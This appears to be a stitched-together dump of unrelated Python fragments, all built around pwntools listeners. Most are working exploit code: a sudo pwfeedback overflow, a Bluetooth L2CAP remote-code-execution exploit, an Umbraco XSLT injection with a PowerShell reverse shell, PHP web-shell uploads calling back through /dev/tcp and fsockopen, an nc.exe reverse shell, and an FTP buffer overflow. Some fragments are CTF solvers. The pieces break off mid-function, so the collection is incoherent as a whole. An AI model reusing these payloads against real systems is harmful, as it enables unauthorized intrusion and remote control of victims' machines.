def exploit(): mfd, sfd = pty.openpty() r = listen(12345) process("sudo -S id < " + os.ttyname(sfd), shell=True, env={"SUDO_ASKPASS": filename}) payload1 = "\x00" * OFFSETS[VERSION] payload1 += p64(0xf4) # tgetpass_flags, 244 payload1 += p64(0) * 6 # user_details payload1 += "\n" payload = "" for c in payload1: payload += c if (len(payload) + 1) % 0xf0 == 0: # 240 payload += "\x15" # sudo_term_kill char sleep(1) os.write(mfd, payload) r.wait_for_connection() # r.interactive() r.sendline(b'id -a') print("%s" % r.recvline(keepends=False)) print("%s" % r.recvline(keepends=False)) r.sendline(b'exit')
def pty(): lis = pwn.listen(port) lis.wait_for_connection() lis.sendline(b'whoami') lis.recvline() lis.sendline(b'python -c \'import pty; pty.spawn("/bin/sh")\'') lis.sendline(b'python3 -c \'import pty; pty.spawn("/bin/sh")\'') lis.sendline(b'export TERM=xterm') lis.interactive(prompt='')
def handler(): l = listen(4242) l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")' """) l.sendline(""" export TERM=xterm256-color """) l.sendline(""" alias ls='ls -la --color=auto' """) l.sendline(""" alias l='ls' """) print("Starting interactive shell:") l.interactive()
def __init__(self, url, username, password, listener_ip, listener_port): self.url = url self.username = username self.password = password self.listener_ip = listener_ip self.listener_port = listener_port # Create requests session for storing cookies self.r_session = requests.Session() # Create reverse shell listener self.pwn_listener = pwn.listen(int(listener_port))
def main(src_hci, dst_bdaddr, cb_ip="192.168.0.4", cb_port1=1234, cb_port2=1235): # Start an l2cap_connection, without the mutual config process (so we can control and abuse it later on) l2cap_loop, dcid = create_l2cap_connection(src_hci, dst_bdaddr, with_mutual_config=False, pcap_path="./kaki.pcap") # Set the remote MTU to a large number set_remote_mtu(l2cap_loop, OUR_LOCAL_SCID, 0xffff) code = prepare_shellcode(cb_ip, cb_port1) write_code = prepare_multi_write_conf_rsps(l2cap_loop, OUR_LOCAL_SCID, CODE_LOAD_ADDR & 0xFFFF, code) # In response to our multiple conf-rsps in 1 l2cap packet, a very large number of packets will be returned # from the peer, and we don't really care about them at this point l2cap_loop._sock.drop_acl_mode = True # To defeat cash problems - write the code multiple times before changing the LR for i in range(3): l2cap_loop.send(L2CAP_Hdr(cid=1) / write_code) time.sleep(0.5) write_lr = prepare_multi_write_conf_rsps(l2cap_loop, OUR_LOCAL_SCID, L2CAP_RECV_FRAME_LR_IN_SP & 0xffff, struct.pack("<L", CODE_LOAD_ADDR)) mother_of_packets = L2CAP_Hdr(cid=1) / write_code / write_lr # Validate we haven't passed the MTU assert(len(str(mother_of_packets)) < 0xffff) connectback = pwn.listen(cb_port1) l2cap_loop.send(mother_of_packets) connectback.wait_for_connection() while connectback.connected(): action = pwn.options("Select an action:", ["Drop into shell", "Quit"]) if action == 0: new_cb = pwn.listen(cb_port2) connectback.sendline("bash -i</dev/tcp/%s/%s 1>&0 2>&0 & disown" % (cb_ip, new_cb.lport)) try: new_cb.wait_for_connection() new_cb.interactive(prompt="") except KeyboardInterrupt: pass elif action == 1: pwn.log.info("Disconnecting...") connectback.close()
def get_user(interactive=False): # Return if shell already existing global user_shell if user_shell is not None: if interactive: clear() #if not get_interactive(user_shell): user_shell.interactive() user_shell = None else: return user_shell if interactive: clear() log.info("Getting reverse-shell... This may take a couple of seconds!") print("") else: log.info("Getting user-shell...") # Setup smb server smb = Process(target=setup_smb) smb.daemon = True smb.start() ip = get_ip() port = get_port() # Execute reverse-shell log.info("Executing reverse-shell payload...") payload = Process( target=exec, args=( f'\\\\{ip}\\\\share\\nc.exe {ip} {port} -e powershell.exe', 5, )) payload.daemon = True payload.start() # Listen for connection user_shell = listen(port, bindaddr=ip, timeout=10).wait_for_connection() check_shell(user_shell) # Kill smb-server smb.terminate() # Interact with shell if interactive: #clear() user_shell.interactive() else: return user_shell
def connectback(vector, *args): """ :param vector: :param args: :return: """ # Assign a ephemeral port and check current usage port = random.randint(49152, 65535) while socket.socket().connect_ex((args[1], port)) == 1: port = random.randint(49152, 65535) listener = listen(bindaddr=args[1], port=port) revshell_cmd = "mknod /tmp/pipe p;telnet {lhost} {port}</tmp/pipe|bash>/tmp/pipe".format( lhost=args[1], port=port) throw_v6(vector, revshell_cmd) listener.wait_for_connection() log.success("Got connect back from target, exploit succeded!") return listener.interactive()
def get_admin(interactive=False): # Return if shell already existing global admin_shell if admin_shell is not None: if interactive: clear() #if not get_interactive(admin_shell): admin_shell.interactive() admin_shell = None else: return admin_shell if interactive: clear() log.info( "Getting reverse-shell as admin... This may take up to a minute!") # Setup tunnel to access port 8888 setup_tunnel() # Setup admin shell listener port = get_port() admin_shell = listen(port, bindaddr=get_ip(), timeout=30).wait_for_connection() # Overflow buffer and get shell overflow(port) # Verify that we actually got a shell check_shell(admin_shell) if interactive: #clear() #if not get_interactive(admin_shell): admin_shell.interactive() admin_shell = None else: return admin_shell
def solve_level10(path, snow_crash): """Launch link creation and run executable until timing succeeds""" conn = listen(6969) snow_crash.upload_file(f"{path}/create_link.sh", "/tmp/create_link.sh") snow_crash["touch /tmp/myfile"] # This scripts creates a link /tmp/token switching back and forth between /tmp/myfile and token snow_crash.run("/bin/bash /tmp/create_link.sh") # Run the executable 100 times to ensure perfect timing at least once snow_crash[f"for i in {'{0 .. 100}'}; do ./level10 /tmp/token 192.168.0.115; done"] password = "" i = 0 while len(password) <= 8: conn.wait_for_connection() password = conn.recvall().decode().strip() if i > 10: # Trigger re-run if connection hangs return "timeout", "error" i += 1 snow_crash[ "pkill create_link.sh; rm -f /tmp/token /tmp/create_link.sh /tmp/myfile;" ] return "flag", password[8:]
def interactive(): lis = pwn.listen(port) lis.wait_for_connection() lis.sendline(b'whoami') lis.recvline() lis.interactive(prompt='')
def main(): login = args.user password = args.password host = args.host try: initial = pwn.listen(4444) final = pwn.listen(4445) except Exception as e: raise e with open('exploit.cs', 'r') as csharp: code = csharp.read().strip() payload = f""" <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="******"> <msxsl:script language="C#" implements-prefix="csharp_user"> {code} </msxsl:script> <xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/> </xsl:template> </xsl:stylesheet> """ payload = payload.strip() % (args.ip, 4444) stable_revshell = '$client = New-Object System.Net.Sockets.TCPClient("%s", 4445)' % args.ip stable_revshell += ';$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' # Process Login url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" loginfo = {"username": login, "password": password} s = requests.session() r2 = s.post(url_login, json=loginfo) # Go to vulnerable web page url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx" r3 = s.get(url_xslt) soup = BeautifulSoup(r3.text, 'html.parser') VIEWSTATE = soup.find(id="__VIEWSTATE")['value'] VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'] UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'] headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN} data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE, "__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR, "ctl00$body$xsltSelection": payload, "ctl00$body$contentPicker$ContentIdValue": "", "ctl00$body$visualizeDo": "Visualize+XSLT" } # Launch the attack Thread(target=s.post, args=(url_xslt, ), kwargs={ 'data': data, 'headers': headers }).start() initial.wait_for_connection() initial.sendline(stable_revshell.encode('ascii')) final.wait_for_connection() # Quick hack to display prompt lol final.sendline(b'whoami') final.recvline() final.interactive(prompt='')
if __name__ == '__main__': params = geng() g = params["g"] p = params["p"] res = make_secret(g, p) secret = res[0] h = res[1] params["h"] = h assert pow(g, secret, p) == h log.info("parameters are set.") print(params) log.info(f"I don't know secret") l = listen(server_port) l.sendline(b"Hi bob. This is our parameters.") l.sendline(dumps(params)) r_floor = exponent_floor(g, p) for cnt in range(proof_times): expect_c = randint(0, 1) y = randint(r_floor, p) x = pow(g, y, p) * pow(g, -expect_c, p) % p l.sendline(dumps({"x": x})) c = loads(l.recvline())["c"] log.info(f"[round {cnt+1}]: I expcted {expect_c} and got c: {c}") l.sendline(dumps({"y": y})) l.close()
#!/usr/bin/env python from pwn import listen with open('sorry_defanged_exploit.bin', 'rb') as f: shellcode = f.read() l = listen(5504, '0.0.0.0') c = l.wait_for_connection() print("[+] Got connection. Sending payload.") l.sendline(shellcode) l.interactive()
def __init__(self, host, port): self.shell = listen(bindaddr=host, port=port)
return a + b pwn.log.error("Ops not found (%s)" % op) while True: progress = pwn.log.progress('Openning server') progress.status('openning connection') remotesock = pwn.remote('2018shell2.picoctf.com', 46083) progress.status('recieve captcha') remotesock.recvlines(4) # Remove first lines captcha = remotesock.recvuntil('\n> ') captcha = captcha[:-len('\n> ')] res = get_captcha_reply(captcha) pwn.log.info(res) progress.status('replying captcha') remotesock.send(str(res)) progress.status('verifing') if b'Validation succeeded. Commence HTTP.' not in remotesock.recvline(): pwn.log.error("Not the good reply") remotesock.clean() progress.success('done') localsock = pwn.listen(8888) _ = localsock.wait_for_connection() localsock.connect_both(remotesock)
def listen(self, port_no): l = pwn.listen(port_no) self.conn = l.wait_for_connection()
# credentials of the low privilege user USERNAME='******' PASSWORD='******' LISTENER_IP = '127.0.0.1' LISTENER_PORT = '4444' TARGET_IP = '127.0.0.1' TARGET_PORT = '8081' # set the credentials for login POST credentials = {"username":USERNAME,"password":PASSWORD} # create a session to preserve session state sesh = requests.session() # login as our low-privilege user (normally only admins can upload files) sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/login.php", data=credentials) # define the payload payload = f"<?php $sock=fsockopen(\"{LISTENER_IP}\",{LISTENER_PORT});$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>" # file upload sesh.headers.update({"Referer": f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=new"}) files = {'resourcefile': ("shell.php", payload)} sesh.post(f"http://{TARGET_IP}:{TARGET_PORT}/resources.php?action=newsent", files=files) l = listen(LISTENER_PORT) # execute the file sesh.get(f"http://{TARGET_IP}:{TARGET_PORT}/documents/shell.php") l.interactive()
payload += pwn.asm( "jmp $-5; nop; nop") # trampoline to jump further backward to stage2 payload += PPR_GADGET payload += NOP * (4000 - len(payload)) return payload def attack(): r = pwn.remote(RHOST, RPORT, typ="tcp") print(r.recv(1024)) r.send("USER ftptest\r\n") print(r.recv(1024)) p = b"PASS %b\r\n" % generate_payload() print(p) r.send(p) if __name__ == "__main__": if len(sys.argv) > 1: RHOST = sys.argv[1] thread = Thread(target=attack) thread.start() listener = pwn.listen(port=LPORT) listener.wait_for_connection() listener.interactive() thread.join()
def main(): print(f'[>] Target : {url}') print(f'[>] Username : {uname}') print(f'[>] Password : {passw}' + '\n') login_data = {'action': 'dologin', 'username': uname, 'password': passw} s = requests.Session() print('[!] Logging in...') try: login = s.post(url, data=login_data, timeout=10) except Exception as e: print(f'[-] Exception : {str(e)}') exit() login_sc = login.status_code if login_sc == 200: try: verify = s.get(url, timeout=10) except Exception as e: print(f'[-] Exception : {str(e)}') exit() page = verify.text soup = bs(page, 'html.parser') if 'dashboard' in str(soup.title): print('[+] Logged In!') else: print('[-] Login Failed!') exit() print('[+] Loading Profile...') try: load_profile = s.get(dashboard, timeout=10) except Exception as e: print(f'[-] Exception : {str(e)}') exit() profile_sc = load_profile.status_code if profile_sc == 200: print('[+] Searching Signatures...') profile_data = load_profile.text soup = bs(profile_data, 'html.parser') sig_key = soup.find('input', {'name': '__signature_key'})['value'] sig_dsi = soup.find('input', {'name': '__signature_dsi'})['value'] else: print( f'[-] Error : {str(profile_sc)} | Failed to find signatures!') exit() payload = f'''GIF89a;\n<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'");?>'''.encode( ) multipart_form_data = { 'mod': (None, 'main'), 'opt': (None, 'personal'), '__signature_key': (None, sig_key), '__signature_dsi': (None, sig_dsi), 'editpassword': (None, None), 'confirmpassword': (None, None), 'editnickname': (None, 'twh'), 'avatar_file': (f'{fname}' + '.php', payload), 'more[site]': (None, None), 'more[about]': (None, None) } print('[!] Uploading Payload...') set_avatar = s.post(url, files=multipart_form_data, timeout=10) set_sc = set_avatar.status_code if set_sc == 200: print('[+] Loading Profile...') try: load_profile = s.get(dashboard, timeout=10) except Exception as e: print(f'[-] Exception : {str(e)}') exit() profile_sc = load_profile.status_code if profile_sc == 200: print('[+] Searching Avatar URL...') profile_data = load_profile.text soup = bs(profile_data, 'html.parser') avt_url = soup.find('img')['src'] print(f'[*] URL : {avt_url}') print('[!] Payload will trigger in 5 seconds...') trigger_thread = threading.Thread(target=trigger, args=[s, avt_url]) trigger_thread.daemon = True trigger_thread.start() print('[!] Starting Listner...') shell = listen(lport) shell.wait_for_connection() shell.interactive() else: print( f'[-] Error : {str(profile_sc)} | Failed to load profile!') exit() else: print(f'[-] Error : {str(set_sc)} | Failed to upload payload!') exit() else: print(f'[-] Error : {str(login_sc)} | Login Failed!') exit()
def main(): r = remote('babyshell.hackable.software', 1337) line = r.recvline() cmd = line.decode().split(': ')[1].rstrip() print(cmd) out = subprocess.run(cmd, stdout=subprocess.PIPE, shell=True) r.send(out.stdout) print('Connected!') while True: line = r.readline() pprint(line) if b'/etc/motd.' in line: break pprint(r.readline()) pprint(r.recv()) # shell should be here print('spanko') time.sleep(5) # r.interactive() r.send('stty -echo\n') pprint(r.readline()) # echo pprint(r.recv()) # prompt r.send('/bin/busybox nc -vz 127.0.0.1 4433 2>&1\n') pprint(r.readline()) # output pprint(r.recv()) # prompt print('Listening!') l = listen(4321) def read_thread(): while True: data = l.recv() print('L', data) r.send(''.join('\\\\x{:02x}'.format(b) for b in data).encode('utf8') + b'\n') # r.send(base64.b64encode(data + b'\x04\x04') + b'\x04\x04') print("starting thread") x = threading.Thread(target=read_thread) x.start() print("sending payload") r.send( b'(while true; do read s; printf "$s"; done) | /bin/busybox nc -v 127.0.0.1 4433 2>&1 | xxd -pc1;\r\n' ) # r.send(b'stty raw && (while true; do base64 -d; done) | /bin/busybox nc -w 0 127.0.0.1 4433 \n') # r.send(b'(while true; do base64 -d; done) | cat - | /bin/busybox nc 127.0.0.1 4433\n') # r.send(b'setsid /bin/busybox nc 127.0.0.1 4433 </proc/712/fd/10 >/proc/712/fd/10\n') # r.interactive() counter = 0 while True: if counter == 0: data = read_at_least(r, 32) elif counter == 1: data = read_at_least(r, 1253) print('odczytaned') print(len(data)) elif counter == 2: data = read_at_least(r, 239) elif counter == 3: data = read_at_least(r, 239) elif counter == 4: data = read_at_least(r, 24) elif counter == 5: data = read_at_least(r, 78) elif counter == 6: data = read_at_least(r, 24) else: print('co do kurwy XD') break # data = r.recv() if len(data) > 0 and b'127.0.0.1' not in data: print('R', data) l.send(data) counter += 1